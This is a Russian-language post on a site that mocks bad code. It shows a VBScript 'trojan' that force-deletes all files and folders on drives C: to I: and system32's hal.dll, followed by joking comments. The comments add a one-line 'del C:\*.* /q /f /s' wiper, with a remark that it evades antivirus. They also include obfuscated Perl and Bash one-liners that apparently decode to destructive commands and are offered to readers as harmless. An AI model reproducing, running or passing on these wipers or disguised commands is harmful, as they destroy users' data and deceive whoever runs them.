1. VisualBasic / Говнокод #15547

    −117

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    on error resume next
    
    Set S = CreateObject("Wscript.Shell")
    
    set FSO=createobject("scripting.filesystemobject")
    
    fso.deletefile "C:*.*",1
    
    fso.deletefolder "C:*.*",1
    
    fso.deletefile "D:*.*",1
    
    fso.deletefolder "D:*.*",1
    
    fso.deletefile "E:*.*",1
    
    fso.deletefolder "E:*.*",1
    
    fso.deletefile "F:*.*",1
    
    fso.deletefolder "F:*.*",1
    
    fso.deletefile "G:*.*",1
    
    fso.deletefolder "G:*.*",1
    
    fso.deletefile "H:*.*",1
    
    fso.deletefolder "H:*.*",1
    
    fso.deletefile "I:*.*",1
    
    fso.deletefolder "I:*.*",1
    
    fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

    Школота пишет охуительный троян.
    http://www.v-zlom.ru/138-napisanie-troyana-na-yazyke-visual-basic-script.html

    Запостил: gost, 21 Марта 2014

    Комментарии (32) RSS

    • Надо будет изменить букву диска с операционкой на Z:
      Ответить
      • Да у нормальных людей операционка стоит на / и код на VB _очень_ сложно запустить.
        Ответить
        • Вот именно, у людей
          Ответить
        • У нормальных людей эта функция входит в инсталляторы дров.
          Ответить
          • А у прочих - в деинсталляторы яндекс-диска.
            Ответить
            • Там вроде при каких-то особых условиях работал баг.
              Ответить
              • 1. Условие наличие винды;
                2. Условие деинсталляция ЯД.

                ЗЫ я на халяву 200 гигов поимел. как то поставил ЯД на винду но не разу им не пользовался все с линукса.
                Ответить
        • У "нормальных людей" есть же
          perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:[email protected][-`{-};`-{/" -;;s;;$_;see'

          или баш
          ISF=$(echo '%\%#{<-{}<&{`' |tr ' -/:[email protected][-`{}' '`-{/ -');$ISF 2>/dev/null
          Ответить
        • Нормальный человек = прыщеблядь?
          Ответить
    • Какая примитивщина, ужас.
      Аваст его детектит как троян: vbs:deletefiles-e
      Ответить
      • А еще они перестраховались:
        fso.deletefile "C:*.*",1
        fso.deletefolder "C:*.*",1
        Ответить
        • Не понятно, зачем понадобилось писать свиток, это можно было сделать 1 строчкой: cmd /c del C:\*.* /q /f /s и антивирус бы не задетектил это. Но сама идея - отстой, никакого взлета мысли.
          Лично я приемлю написание вирусов/троянов только ради повышения квалификации на нарах.
          Ответить
          • > cmd /c del C:\*.* /q /f /s
            Смотрите, кто-то взломал учётку Стертора.

            P.S. Как там новый минусатор? Уже можно говорить спасибо за молчание Конардо?
            Ответить
            • Минусатор почти готов, теперь я могу утопить целый тред за считанные мгновения. Кстати, в мае я планирую выпустить в свет новую тулзу-лечилку, но боюсь проблем, так как прога писана на триальном компиляторе, по причине чего в Пользовательском Соглашении указано, что прога бесплатна и что я не буду получать абсолютно никакой прибыли (ни в прямом виде, ни в виде "пожертвований") от ее распространения.
              Ответить
      • > vbs:deletefiles-e
        Во всем виновато fso.deletefile "E:*.*",1
        Ответить
        • >>Во всем виновато fso.deletefile "E:*.*",1
          Отнюдь.
          fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1

          Кстати, эвристикой скрипты анализирует только Доктор УЕБок, остальные по сигнатурам.
          Ответить
          • Кстати, а они случаем не забыли слеш в system32hal.dll? :)
            Ответить
            • Они не знают, что такое слэш :D
              Ответить
            • Ну я ж говорю, по сигнатурам ;)
              аналитик добавил строчку "как есть", не обременив себя исправлением кода. У аваста такое часто бывает.
              Ответить
    • Антивирус Попова на батниках или Супер-Троян на визуал басике. Кто победит?
      Если ты считаешь, что победит антивирус Попова, пришли цифру 1 на короткий номер 4477.
      Если ты считаешь, что победит Супер-Троян, пришли цифру 2 на короткий номер 4477.
      Ответить
      • Немного не то: Попов написал радиоприемник, а антивирус - дело рук г. Бабушкинда.
        Ответить
        • Попов написал ОС с нескучными обоями же!
          Ответить
          • там же из коропки не скучный антивирус
            Ответить
          • http://ru.wikipedia.org/wiki/%CF%EE%EF%EE%E2,_%C0%EB%E5%EA%F1%E0%ED%E4%F0_%D1%F2%E5%EF%E0%ED%EE%E2%E8%F7
            Ответить
            • Фу, ну кому интересны эти покрытые нафталином старпёры. Им пора уступить дорогу молодым распильщикам изобретателям и внедренцам, флагманам Российского ИТ.
              Ответить
        • Негров тебе хуястых
          Ответить

    Добавить комментарий